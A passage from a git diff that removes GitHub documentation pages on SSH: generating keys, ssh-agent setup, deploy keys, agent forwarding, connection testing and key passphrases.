ifversion ghes %}HOSTNAME{% else %}github.com{% endif %} - AddKeysToAgent yes - UseKeychain yes - IdentityFile ~/.ssh/id_ed25519 - ``` - - > [!NOTE] - > * If you chose not to add a passphrase to your key, you should omit the `UseKeychain` line. - > * If you see a `Bad configuration option: usekeychain` error, add an additional line to the configuration's' `Host *.{% ifversion ghes %}HOSTNAME{% else %}github.com{% endif %}` section. - > - > ```text copy - > Host {% ifversion ghes %}HOSTNAME{% else %}github.com{% endif %} - > IgnoreUnknown UseKeychain - > ``` - -1. Add your SSH private key to the ssh-agent and store your passphrase in the keychain. {% data reusables.ssh.add-ssh-key-to-ssh-agent %} - - ```shell - ssh-add --apple-use-keychain ~/.ssh/id_ed25519 - ``` - - {% data reusables.ssh.apple-use-keychain %} - -{% data reusables.ssh.add-public-key-to-github %} - -{% endmac %} - -{% windows %} - -{% data reusables.desktop.windows_git_bash %} - -1. In a new _admin elevated_ PowerShell window, ensure the ssh-agent is running. You can use the "Auto-launching the ssh-agent" instructions in [AUTOTITLE](/articles/working-with-ssh-key-passphrases), or start it manually: - - ```powershell - # start the ssh-agent in the background - Get-Service -Name ssh-agent | Set-Service -StartupType Manual - Start-Service ssh-agent - ``` - -1. In a terminal window without elevated permissions, add your SSH private key to the ssh-agent. - {% data reusables.ssh.add-ssh-key-to-ssh-agent %} - - ```powershell - ssh-add c:/Users/YOU/.ssh/id_ed25519 - ``` - -{% data reusables.ssh.add-public-key-to-github %} - -{% endwindows %} - -{% linux %} - -{% data reusables.command_line.start_ssh_agent %} - -1. Add your SSH private key to the ssh-agent. - - {% data reusables.ssh.add-ssh-key-to-ssh-agent %} - - {% indented_data_reference reusables.ssh.add-ssh-key-to-ssh-agent-commandline spaces=3 %} - -{% data reusables.ssh.add-public-key-to-github %} - -{% endlinux %} - -## Generating a new SSH key for a hardware security key - -If you are using macOS or Linux, you may need to update your SSH client or install a new SSH client prior to generating a new SSH key. For more information, see [AUTOTITLE](/authentication/troubleshooting-ssh/error-unknown-key-type). - -1. Insert your hardware security key into your computer. -{% data reusables.command_line.open_the_multi_os_terminal %} - -1. Paste the text below, replacing the email address in the example with the email address associated with your {% data variables.product.github %} account. - - {% mac %} - - ```shell - ssh-keygen -t ed25519-sk -C "your_email@example.com" - ``` - - {% endmac %} - - {% windows %} - - ```powershell - ssh-keygen -t ed25519-sk -C "your_email@example.com" - ``` - - {% endwindows %} - - {% linux %} - - ```shell - ssh-keygen -t ed25519-sk -C "your_email@example.com" - ``` - - {% endlinux %} - - > [!NOTE] - > If the command fails and you receive the error `invalid format` or `feature not supported,` you may be using a hardware security key that does not support the Ed25519 algorithm. Enter the following command instead. - > - > ```shell - > ssh-keygen -t ecdsa-sk -C "your_email@example.com" - > ``` - -1. When you are prompted, touch the button on your hardware security key. -1. When you are prompted to "Enter a file in which to save the key," press Enter to accept the default file location. - - {% mac %} - - ```shell - > Enter a file in which to save the key (/Users/YOU/.ssh/id_ed25519_sk): [Press enter] - ``` - - {% endmac %} - - {% windows %} - - ```shell - > Enter a file in which to save the key (c:\Users\YOU\.ssh\id_ed25519_sk):[Press enter] - ``` - - {% endwindows %} - - {% linux %} - - ```shell - > Enter a file in which to save the key (/home/YOU/.ssh/id_ed25519_sk):[Press enter] - ``` - - {% endlinux %} - -1. When you are prompted to type a passphrase, press **Enter**. - - ```shell - > Enter passphrase (empty for no passphrase): [Type a passphrase] - > Enter same passphrase again: [Type passphrase again] - ``` - -{% data reusables.ssh.add-public-key-to-github %} diff --git a/content/authentication/connecting-to-github-with-ssh/index.md b/content/authentication/connecting-to-github-with-ssh/index.md deleted file mode 100644 index 378c2f0a58b0..000000000000 --- a/content/authentication/connecting-to-github-with-ssh/index.md +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Connecting to GitHub with SSH -intro: 'You can connect to {% data variables.product.github %} using the Secure Shell Protocol (SSH), which provides a secure channel over an unsecured network.' -redirect_from: - - /key-setup-redirect - - /linux-key-setup - - /mac-key-setup - - /msysgit-key-setup - - /articles/ssh-key-setup - - /articles/generating-ssh-keys - - /articles/generating-an-ssh-key - - /articles/connecting-to-github-with-ssh - - /github/authenticating-to-github/connecting-to-github-with-ssh -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - SSH -children: - - /about-ssh - - /using-ssh-agent-forwarding - - /managing-deploy-keys - - /checking-for-existing-ssh-keys - - /generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent - - /adding-a-new-ssh-key-to-your-github-account - - /testing-your-ssh-connection - - /working-with-ssh-key-passphrases -shortTitle: Connect with SSH ---- diff --git a/content/authentication/connecting-to-github-with-ssh/managing-deploy-keys.md b/content/authentication/connecting-to-github-with-ssh/managing-deploy-keys.md deleted file mode 100644 index eaa8a48a32ec..000000000000 --- a/content/authentication/connecting-to-github-with-ssh/managing-deploy-keys.md +++ /dev/null @@ -1,204 +0,0 @@ ---- -title: Managing deploy keys -intro: Learn different ways to manage SSH keys on your servers when you automate deployment scripts and which way is best for you. -redirect_from: - - /guides/managing-deploy-keys - - /v3/guides/managing-deploy-keys - - /deploy-keys - - /articles/managing-deploy-keys - - /multiple-keys - - /developers/overview/managing-deploy-keys -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API ---- - - -You can manage SSH keys on your servers when automating deployment scripts using SSH agent forwarding, HTTPS with OAuth tokens, deploy keys, or machine users. - -## SSH agent forwarding - -In many cases, especially in the beginning of a project, SSH agent forwarding is the quickest and simplest method to use. Agent forwarding uses the same SSH keys that your local development computer uses. - -### Pros of SSH agent forwarding - -* You do not have to generate or keep track of any new keys. -* There is no key management; users have the same permissions on the server that they do locally. -* No keys are stored on the server, so in case the server is compromised, you don't need to hunt down and remove the compromised keys. - -### Cons of SSH agent forwarding - -* Users **must** SSH in to deploy; automated deploy processes can't be used. -* SSH agent forwarding can be troublesome to run for Windows users. - -### Set up SSH agent forwarding - -1. Turn on agent forwarding locally. See [our guide on SSH agent forwarding][ssh-agent-forwarding] for more information. -1. Set your deploy scripts to use agent forwarding. For example, on a bash script, enabling agent forwarding would look something like this: -`ssh -A serverA 'bash -s' < deploy.sh` - -## HTTPS cloning with OAuth tokens - -If you don't want to use SSH keys, you can use HTTPS with OAuth tokens. - -### Pros of HTTPS cloning with OAuth tokens - -* Anyone with access to the server can deploy the repository. -* Users don't have to change their local SSH settings. -* Multiple tokens (one for each user) are not needed; one token per server is enough. -* A token can be revoked at any time, turning it essentially into a one-use password. -{% ifversion ghes %} -* Generating new tokens can be easily scripted using [the OAuth API](/rest/oauth-authorizations/oauth-authorizations#create-a-new-authorization). -{% endif %} - -### Cons of HTTPS cloning with OAuth tokens - -* You must make sure that you configure your token with the correct access scopes. -* Tokens are essentially passwords, and must be protected the same way. - -### Set up HTTPS cloning with OAuth tokens - -See [our guide on creating a {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token). - -## Deploy keys - -{% data reusables.repositories.deploy-keys %} - -{% data reusables.repositories.deploy-keys-write-access %} - -For enhanced security and fine-grained control over repository access and permissions, we recommend using a GitHub App instead. See [AUTOTITLE](/apps/creating-github-apps/about-creating-github-apps/deciding-when-to-build-a-github-app#github-apps-offer-enhanced-security). - -### Pros of deploy keys - -* Anyone with access to the repository and server has the ability to deploy the project. -* Users don't have to change their local SSH settings. -* Deploy keys are read-only by default, but you can give them write access when adding them to a repository. - -### Cons of deploy keys - -* Deploy keys only grant access to a single repository. More complex projects may have many repositories to pull to the same server. -* Deploy keys are usually not protected by a passphrase, making the key easily accessible if the server is compromised. -* Deploy keys are credentials that don't have an expiry date. -* Deploy keys aren't linked directly to organization membership. If the user who created the deploy key is removed from the repository, the deploy key will still be active as it isn't tied to the specific user, but rather to the repository. - -### Set up deploy keys - -{% ifversion deploy-keys-enterprise-org-policy %} - -> [!NOTE] If your organization is owned by an enterprise, and your enterprise owner has restricted the use of deploy keys in repositories, then you cannot override the policy in your organization to create a deploy key. For more information, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-deploy-keys). -{% endif %} - -1. [Run the `ssh-keygen` procedure][generating-ssh-keys] on your server, and remember where you save the generated public and private rsa key pair. -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -1. In the sidebar, click **Deploy Keys**. -1. Click **Add deploy key**. -1. In the "Title" field, provide a title. -1. In the "Key" field, paste your public key. -1. Select **Allow write access** if you want this key to have write access to the repository. A deploy key with write access lets a deployment push to the repository. -1. Click **Add key**. - -You can also use the REST API to create deploy keys. For more information, see [AUTOTITLE](/rest/deploy-keys/deploy-keys). - -### Using multiple repositories on one server - -If you use multiple repositories on one server, you will need to generate a dedicated key pair for each one. You can't reuse a deploy key for multiple repositories. - -In the server's SSH configuration file (usually `~/.ssh/config`), add an alias entry for each repository. For example: - -```bash -Host {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}-repo-0 - Hostname {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %} - IdentityFile=/home/user/.ssh/repo-0_deploy_key - -Host {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}-repo-1 - Hostname {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %} - IdentityFile=/home/user/.ssh/repo-1_deploy_key -``` - -* `Host {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}-repo-0` - The repository's alias. -* `Hostname {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}` - Configures the hostname to use with the alias. -* `IdentityFile=/home/user/.ssh/repo-0_deploy_key` - Assigns a private key to the alias. - -You can then use the hostname's alias to interact with the repository using SSH, which will use the unique deploy key assigned to that alias. For example: - -```bash -git clone git@{% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}-repo-1:OWNER/repo-1.git -``` - -## {% data variables.product.prodname_github_app %} installation access tokens - -If your server needs to access repositories across one or more organizations, you can use a {% data variables.product.prodname_github_app %} to define the access you need, and then generate _tightly-scoped_, installation access tokens from that {% data variables.product.prodname_github_app %}. The installation access tokens can be scoped to single or multiple repositories, and can have fine-grained permissions. For example, you can generate a token with read-only access to a repository's contents. - -Since {% data variables.product.prodname_github_apps %} are a first class actor on {% data variables.product.github %}, the installation access tokens are decoupled from any {% data variables.product.github %} user, which makes them comparable to "service tokens". Additionally, installation access tokens have dedicated rate limits that scale with the size of the organizations that they act upon. For more information, see [Rate limits for {% data variables.product.prodname_github_apps %}](/apps/creating-github-apps/setting-up-a-github-app/rate-limits-for-github-apps). - -### Pros of installation access tokens - -* Tightly-scoped tokens with well-defined permission sets and expiration times (1 hour, or less if revoked manually using the API) -* Dedicated rate limits that grow with your organization -* Decoupled from {% data variables.product.prodname_dotcom %} user identities, so they do not consume any {% ifversion enterprise-licensing-language %}licenses{% else %}licensed seats{% endif %} -* Never granted a password, so cannot be directly signed in to - -### Cons of installation access tokens - -* Additional setup is needed to create the {% data variables.product.prodname_github_app %}. -* Installation access tokens expire after 1 hour, and so need to be re-generated, typically on-demand using code. - -### Set up installation access tokens - -1. Determine if your {% data variables.product.prodname_github_app %} should be public or private. If your {% data variables.product.prodname_github_app %} will only act on repositories within your organization, you likely want it private. -1. Determine the permissions your {% data variables.product.prodname_github_app %} requires, such as read-only access to repository contents. -1. Create your {% data variables.product.prodname_github_app %} via your organization's settings page. For more information, see [Creating a {% data variables.product.prodname_github_app %}](/apps/creating-github-apps/setting-up-a-github-app/creating-a-github-app). -1. Note your {% data variables.product.prodname_github_app %} `id`. -1. Generate and download your {% data variables.product.prodname_github_app %}'s private key, and store this safely. For more information, see [Generating a private key](/apps/creating-github-apps/authenticating-with-a-github-app/managing-private-keys-for-github-apps). -1. Install your {% data variables.product.prodname_github_app %} on the repositories it needs to act upon, optionally you may install the {% data variables.product.prodname_github_app %} on all repositories in your organization. -1. Identify the `installation_id` that represents the connection between your {% data variables.product.prodname_github_app %} and the organization repositories it can access. Each {% data variables.product.prodname_github_app %} and organization pair have at most a single `installation_id`. You can identify this `installation_id` via [Get an organization installation for the authenticated app](/rest/apps/apps#get-an-organization-installation-for-the-authenticated-app). This requires authenticating as a {% data variables.product.prodname_github_app %} using a JWT, for more information see [Authenticating as a {% data variables.product.prodname_github_app %}](/apps/creating-github-apps/authenticating-with-a-github-app/authenticating-as-a-github-app). -1. Generate an installation access token using the corresponding REST API endpoint, [Create an installation access token for an app](/rest/apps#create-an-installation-access-token-for-an-app). This requires authenticating as a {% data variables.product.prodname_github_app %} using a JWT, for more information see [Authenticating as a {% data variables.product.prodname_github_app %}](/apps/creating-github-apps/authenticating-with-a-github-app/authenticating-as-a-github-app), and [Authenticating as an installation](/apps/creating-github-apps/authenticating-with-a-github-app/authenticating-as-a-github-app-installation). -1. Use this installation access token to interact with your repositories, either via the REST or GraphQL APIs, or via a Git client. - -For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/generating-an-installation-access-token-for-a-github-app). - -## Machine users - -If your server needs to access multiple repositories, you can create a new account on {% data variables.location.product_location %} and attach an SSH key that will be used exclusively for automation. Since this account on {% data variables.location.product_location %} won't be used by a human, it's called a _machine user_. You can add the machine user as a [collaborator][collaborator] on a personal repository (granting read and write access), as an [outside collaborator][outside-collaborator] on an organization repository (granting read, write, or admin access), or to a [team][team] with access to the repositories it needs to automate (granting the permissions of the team). - -{% ifversion fpt or ghec %} - -> [!TIP] -> Our [terms of service][tos] state: -> -> > _Accounts registered by "bots" or other automated methods are not permitted._ -> -> This means that you cannot automate the creation of accounts. But if you want to create a single machine user for automating tasks such as deploy scripts in your project or organization, that is totally cool. - -{% endif %} - -### Pros of machine users - -* Anyone with access to the repository and server has the ability to deploy the project. -* No (human) users need to change their local SSH settings. -* Multiple keys are not needed; one per server is adequate. - -### Cons of machine users - -* Only organizations can restrict machine users to read-only access. Personal repositories always grant collaborators read/write access. -* Machine user keys, like deploy keys, are usually not protected by a passphrase. - -### Set up machine users - -1. [Run the `ssh-keygen` procedure][generating-ssh-keys] on your server and attach the public key to the machine user account. -1. Give the machine user account access to the repositories you want to automate. You can do this by adding the account as a [collaborator][collaborator], as an [outside collaborator][outside-collaborator], or to a [team][team] in an organization. - -[ssh-agent-forwarding]: /authentication/connecting-to-github-with-ssh/using-ssh-agent-forwarding -[generating-ssh-keys]: /authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#generating-a-new-ssh-key -[tos]: /free-pro-team@latest/site-policy/github-terms/github-terms-of-service -[collaborator]: /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository -[outside-collaborator]: /organizations/managing-user-access-to-your-organizations-repositories/managing-outside-collaborators/adding-outside-collaborators-to-repositories-in-your-organization -[team]: /organizations/organizing-members-into-teams/adding-organization-members-to-a-team - -## Further reading - -* [Configuring notifications](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#organization-alerts-notification-options) diff --git a/content/authentication/connecting-to-github-with-ssh/testing-your-ssh-connection.md b/content/authentication/connecting-to-github-with-ssh/testing-your-ssh-connection.md deleted file mode 100644 index 93309506f3e6..000000000000 --- a/content/authentication/connecting-to-github-with-ssh/testing-your-ssh-connection.md +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: Testing your SSH connection -intro: "After you've set up your SSH key and added it to {% data variables.product.prodname_dotcom %}, you can test your connection." -redirect_from: - - /articles/testing-your-ssh-connection - - /github/authenticating-to-github/testing-your-ssh-connection - - /github/authenticating-to-github/connecting-to-github-with-ssh/testing-your-ssh-connection -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - SSH -shortTitle: Test your SSH connection ---- - -Before testing your SSH connection, you should have already: -* [Checked for existing SSH keys](/authentication/connecting-to-github-with-ssh/checking-for-existing-ssh-keys) -* [Generated a new SSH key](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent) -* [Added a new SSH key to your GitHub account](/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account) - -You'll need to authenticate this action using your password, which is the SSH key passphrase you created earlier. See [AUTOTITLE](/authentication/connecting-to-github-with-ssh/working-with-ssh-key-passphrases). - -{% ifversion ghec %} - -> [!NOTE] {% data reusables.enterprise-data-residency.access-domain %} - -{% endif %} - -{% data reusables.command_line.open_the_multi_os_terminal %} -1. Enter the following: - - ```shell copy - ssh -T git@{% data variables.product.product_url %} - # Attempts to ssh to {% data variables.product.github %} - ``` - - You may see a warning like this: - - ```shell - > The authenticity of host '{% data variables.product.product_url %} (IP ADDRESS)' can't be established. - > ED25519 key fingerprint is SHA256:+DiY3wvvV6TuJJhbpZisF/zLDA0zPMSvHdkr4UvCOqU. - > Are you sure you want to continue connecting (yes/no)? - ``` - -1. Verify that the fingerprint in the message you see matches {% ifversion fpt or ghec %}[{% data variables.product.prodname_dotcom %}'s public key fingerprint](/authentication/keeping-your-account-and-data-secure/githubs-ssh-key-fingerprints){% else %} your enterprise's public key fingerprint{% endif %}. If it does, then type `yes`: - - ```shell - > Hi USERNAME! You've successfully authenticated, but GitHub does not - > provide shell access. - ``` - - {% linux %} - - You may see this error message: - - ```shell - ... - Agent admitted failure to sign using the key. - debug1: No more authentication methods to try. - Permission denied (publickey). - ``` - - This is a known problem with certain Linux distributions. For more information, see [AUTOTITLE](/authentication/troubleshooting-ssh/error-agent-admitted-failure-to-sign). - - {% endlinux %} - - > [!NOTE] - > The remote command should exit with code 1. - -1. Verify that the resulting message contains your username. If you receive a "permission denied" message, see [AUTOTITLE](/authentication/troubleshooting-ssh/error-permission-denied-publickey). diff --git a/content/authentication/connecting-to-github-with-ssh/using-ssh-agent-forwarding.md b/content/authentication/connecting-to-github-with-ssh/using-ssh-agent-forwarding.md deleted file mode 100644 index 2c884e3db9cd..000000000000 --- a/content/authentication/connecting-to-github-with-ssh/using-ssh-agent-forwarding.md +++ /dev/null @@ -1,162 +0,0 @@ ---- -title: Using SSH agent forwarding -intro: 'To simplify deploying to a server, you can set up SSH agent forwarding to securely use local SSH keys.' -redirect_from: - - /guides/using-ssh-agent-forwarding - - /v3/guides/using-ssh-agent-forwarding - - /articles/using-ssh-agent-forwarding - - /developers/overview/using-ssh-agent-forwarding -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API -shortTitle: SSH agent forwarding ---- - - - -SSH agent forwarding can be used to make deploying to a server simple. It allows you to use your local SSH keys instead of leaving keys (without passphrases!) sitting on your server. - -If you've already set up an SSH key to interact with {% data variables.product.github %}, you're probably familiar with `ssh-agent`. It's a program that runs in the background and keeps your key loaded into memory, so that you don't need to enter your passphrase every time you need to use the key. The nifty thing is, you can choose to let servers access your local `ssh-agent` as if they were already running on the server. This is sort of like asking a friend to enter their password so that you can use their computer. - -Check out [Steve Friedl's Tech Tips guide][tech-tips] for a more detailed explanation of SSH agent forwarding. - -## Setting up SSH agent forwarding - -Ensure that your own SSH key is set up and working. You can use [our guide on generating SSH keys][generating-keys] if you've not done this yet. - -You can test that your local key works by entering `ssh -T git@{% ifversion ghes %}hostname{% else %}github.com{% endif %}` in the terminal: - -```shell -$ ssh -T git@{% ifversion ghes %}hostname{% else %}github.com{% endif %} -# Attempt to SSH in to github -> Hi USERNAME! You've successfully authenticated, but GitHub does not provide -> shell access. -``` - -We're off to a great start. Let's set up SSH to allow agent forwarding to your server. - -1. Using your favorite text editor, open up the file at `~/.ssh/config`. If this file doesn't exist, you can create it by entering `touch ~/.ssh/config` in the terminal. - -1. Enter the following text into the file, replacing `example.com` with your server's domain name or IP: - - Host example.com - ForwardAgent yes - -> [!WARNING] -> You may be tempted to use a wildcard like `Host *` to just apply this setting to all SSH connections. That's not really a good idea, as you'd be sharing your local SSH keys with _every_ server you SSH into. They won't have direct access to the keys, but they will be able to use them _as you_ while the connection is established. **You should only add servers you trust and that you intend to use with agent forwarding.** - -## Testing SSH agent forwarding - -To test that agent forwarding is working with your server, you can SSH into your server and run `ssh -T git@{% ifversion ghes %}hostname{% else %}github.com{% endif %}` once more. If all is well, you'll get back the same prompt as you did locally. - -If you're unsure if your local key is being used, you can also inspect the `SSH_AUTH_SOCK` variable on your server: - -```shell -$ echo "$SSH_AUTH_SOCK" -# Print out the SSH_AUTH_SOCK variable -> /tmp/ssh-4hNGMk8AZX/agent.79453 -``` - -If the variable is not set, it means that agent forwarding is not working: - -```shell -$ echo "$SSH_AUTH_SOCK" -# Print out the SSH_AUTH_SOCK variable -> [No output] -$ ssh -T git@{% ifversion ghes %}hostname{% else %}github.com{% endif %} -# Try to SSH to github -> Permission denied (publickey). -``` - -## Troubleshooting SSH agent forwarding - -Here are some things to look out for when troubleshooting SSH agent forwarding. - -### You must be using an SSH URL to check out code - -SSH forwarding only works with SSH URLs, not HTTP(s) URLs. Check the `.git/config` file on your server and ensure the URL is an SSH-style URL like below: - -```shell -[remote "origin"] - url = git@{% ifversion ghes %}hostname{% else %}github.com{% endif %}:YOUR_ACCOUNT/YOUR_PROJECT.git - fetch = +refs/heads/*:refs/remotes/origin/* -``` - -### Your SSH keys must work locally - -Before you can make your keys work through agent forwarding, they must work locally first. [Our guide on generating SSH keys][generating-keys] can help you set up your SSH keys locally. - -### Your system must allow SSH agent forwarding - -Sometimes, system configurations disallow SSH agent forwarding. You can check if a system configuration file is being used by entering the following command in the terminal: - -```shell -$ ssh -v URL -# Connect to the specified URL with verbose debug output -> OpenSSH_8.1p1, LibreSSL 2.7.3 -> debug1: Reading configuration data /Users/YOU/.ssh/config -> debug1: Applying options for example.com -> debug1: Reading configuration data /etc/ssh_config -> debug1: Applying options for * -$ exit -# Returns to your local command prompt -``` - -In the example above, the file `~/.ssh/config` is loaded first, then `/etc/ssh_config` is read. We can inspect that file to see if it's overriding our options by running the following commands: - -```shell -$ cat /etc/ssh_config -# Print out the /etc/ssh_config file -> Host * -> SendEnv LANG LC_* -> ForwardAgent no -``` - -In this example, our `/etc/ssh_config` file specifically says `ForwardAgent no`, which is a way to block agent forwarding. Deleting this line from the file should get agent forwarding working once more. - -### Your server must allow SSH agent forwarding on inbound connections - -Agent forwarding may also be blocked on your server. You can check that agent forwarding is permitted by SSHing into the server and running `sshd_config`. The output from this command should indicate that `AllowAgentForwarding` is set. - -### Your local `ssh-agent` must be running - -On most computers, the operating system automatically launches `ssh-agent` for you. On Windows, however, you need to do this manually. We have [a guide on how to start `ssh-agent` whenever you open Git Bash][autolaunch-ssh-agent]. - -To verify that `ssh-agent` is running on your computer, type the following command in the terminal: - -```shell -$ echo "$SSH_AUTH_SOCK" -# Print out the SSH_AUTH_SOCK variable -> /tmp/launch-kNSlgU/Listeners -``` - -### Your key must be available to `ssh-agent` - -You can check that your key is visible to `ssh-agent` by running the following command: - -```shell -ssh-add -L -``` - -If the command says that no identity is available, you'll need to add your key: - -```shell -ssh-add YOUR-KEY -``` - -> [!TIP] -> On macOS, `ssh-agent` will "forget" this key, once it gets restarted during reboots. But you can import your SSH keys into Keychain using this command: -> -> ```shell -> ssh-add --apple-use-keychain YOUR-KEY -> ``` - -{% data reusables.ssh.apple-use-keychain %} - -[tech-tips]: http://www.unixwiz.net/techtips/ssh-agent-forwarding.html -[generating-keys]: /authentication/connecting-to-github-with-ssh -[ssh-passphrases]: /authentication/connecting-to-github-with-ssh/working-with-ssh-key-passphrases -[autolaunch-ssh-agent]: /authentication/connecting-to-github-with-ssh/working-with-ssh-key-passphrases#auto-launching-ssh-agent-on-git-for-windows diff --git a/content/authentication/connecting-to-github-with-ssh/working-with-ssh-key-passphrases.md b/content/authentication/connecting-to-github-with-ssh/working-with-ssh-key-passphrases.md deleted file mode 100644 index e5bb5cc1ffff..000000000000 --- a/content/authentication/connecting-to-github-with-ssh/working-with-ssh-key-passphrases.md +++ /dev/null @@ -1,103 +0,0 @@ ---- -title: Working with SSH key passphrases -intro: You can secure your SSH keys and configure an authentication agent so that you won't have to reenter your passphrase every time you use your SSH keys. -redirect_from: - - /ssh-key-passphrases - - /working-with-key-passphrases - - /articles/working-with-ssh-key-passphrases - - /github/authenticating-to-github/working-with-ssh-key-passphrases - - /github/authenticating-to-github/connecting-to-github-with-ssh/working-with-ssh-key-passphrases -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - SSH -shortTitle: SSH key passphrases ---- - -## About passphrases for SSH keys - -With SSH keys, if someone gains access to your computer, the attacker can gain access to every system that uses that key. To add an extra layer of security, you can add a passphrase to your SSH key. To avoid entering the passphrase every time you connect, you can securely cache the key in the SSH agent. - -## Adding or changing a passphrase - -You can change the passphrase for an existing private key without regenerating the keypair by typing the following command: - -```shell -$ ssh-keygen -p -f ~/.ssh/id_ed25519 -> Enter old passphrase: [Type old passphrase] -> Key has comment 'your_email@example.com' -> Enter new passphrase (empty for no passphrase): [Type new passphrase] -> Enter same passphrase again: [Repeat the new passphrase] -> Your identification has been saved with the new passphrase. -``` - -If your key already has a passphrase, you will be prompted to enter it before you can change to a new passphrase. - -{% windows %} - -## Auto-launching `ssh-agent` on Git for Windows - -You can run `ssh-agent` automatically when you open bash or Git shell. Copy the following lines and paste them into your `~/.profile` or `~/.bashrc` file in Git shell: - -``` bash -env=~/.ssh/agent.env - -agent_load_env () { test -f "$env" && . "$env" >| /dev/null ; } - -agent_start () { - (umask 077; ssh-agent >| "$env") - . "$env" >| /dev/null ; } - -agent_load_env - -# agent_run_state: 0=agent running w/ key; 1=agent w/o key; 2=agent not running -agent_run_state=$(ssh-add -l >| /dev/null 2>&1; echo $?) - -if [ ! "$SSH_AUTH_SOCK" ] || [ $agent_run_state = 2 ]; then - agent_start - ssh-add -elif [ "$SSH_AUTH_SOCK" ] && [ $agent_run_state = 1 ]; then - ssh-add -fi - -unset env -``` - -If your private key is not stored in one of the default locations (like `~/.ssh/id_rsa`), you'll need to tell your SSH authentication agent where to find it. To add your key to ssh-agent, type `ssh-add ~/path/to/my_key`. For more information, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent). - -> [!TIP] -> If you want `ssh-agent` to forget your key after some time, you can configure it to do so by running `ssh-add -t <seconds>`. - -Now, when you first run Git Bash, you are prompted for your passphrase: - -```shell -> Initializing new SSH agent... -> succeeded -> Enter passphrase for /c/Users/YOU/.ssh/id_rsa: -> Identity added: /c/Users/YOU/.ssh/id_rsa (/c/Users/YOU/.ssh/id_rsa) -> Welcome to Git (version 1.6.0.2-preview20080923) -> -> Run 'git help git' to display the help index. -> Run 'git help <command>' to display help for specific commands. -``` - -The `ssh-agent` process will continue to run until you log out, shut down your computer, or kill the process. - -{% endwindows %} - -{% mac %} - -## Saving your passphrase in the keychain - -On Mac OS X Leopard through OS X El Capitan, these default private key files are handled automatically: - -* _.ssh/id_rsa_ -* _.ssh/identity_ - -The first time you use your key, you will be prompted to enter your passphrase. If you choose to save the passphrase with your keychain, you won't have to enter it again. - -Otherwise, you can store your passphrase in the keychain when you add your key to the ssh-agent. For more information, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#adding-your-ssh-key-to-the-ssh-agent). - -{% endmac %} diff --git a/content/authentication/index.md b/content/authentication/index.md deleted file mode 100644 index 085970cfb64d..000000000000 --- a/content/authentication/index.md +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: Authentication documentation -shortTitle: Authentication -intro: 'Keep your account and data secure with features like two-factor authentication, SSH, and commit signature verification.' -redirect_from: - - /categories/56/articles - - /categories/ssh - - /mac-verify-ssh - - /ssh-issues - - /verify-ssh-redirect - - /win-verify-ssh - - /categories/92/articles - - /categories/gpg - - /categories/security - - /categories/authenticating-to-github - - /github/authenticating-to-github -versions: - fpt: '*' - ghes: '*' - ghec: '*' -introLinks: - overview: /authentication/keeping-your-account-and-data-secure/about-authentication-to-github -featuredLinks: - startHere: - - /authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent - - /authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens - - /authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication - popular: - - /authentication/troubleshooting-ssh - - /authentication/connecting-to-github-with-ssh/checking-for-existing-ssh-keys - - /authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account - - /authentication/authenticating-with-saml-single-sign-on - - /authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits - guideCards: - - /authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials - - /authentication/troubleshooting-ssh/error-permission-denied-publickey - - /authentication/keeping-your-account-and-data-secure/creating-a-strong-password -changelog: - label: '2FA,authentication,security keys,SSH,token authentication' -layout: product-landing -topics: - - 2FA - - Identity - - Access management - - Usernames - - Device verification -children: - - /keeping-your-account-and-data-secure - - /securing-your-account-with-two-factor-authentication-2fa - - /authenticating-with-a-passkey - - /authenticating-with-saml-single-sign-on - - /connecting-to-github-with-ssh - - /troubleshooting-ssh - - /managing-commit-signature-verification - - /troubleshooting-commit-signature-verification ---- diff --git a/content/authentication/keeping-your-account-and-data-secure/about-anonymized-urls.md b/content/authentication/keeping-your-account-and-data-secure/about-anonymized-urls.md deleted file mode 100644 index cf6cfdd1efaa..000000000000 --- a/content/authentication/keeping-your-account-and-data-secure/about-anonymized-urls.md +++ /dev/null @@ -1,101 +0,0 @@ ---- -title: About anonymized URLs -intro: 'If you upload an image or video to {% data variables.product.github %}, the URL of the image or video will be modified so your information is not trackable.' -redirect_from: - - /articles/why-do-my-images-have-strange-urls - - 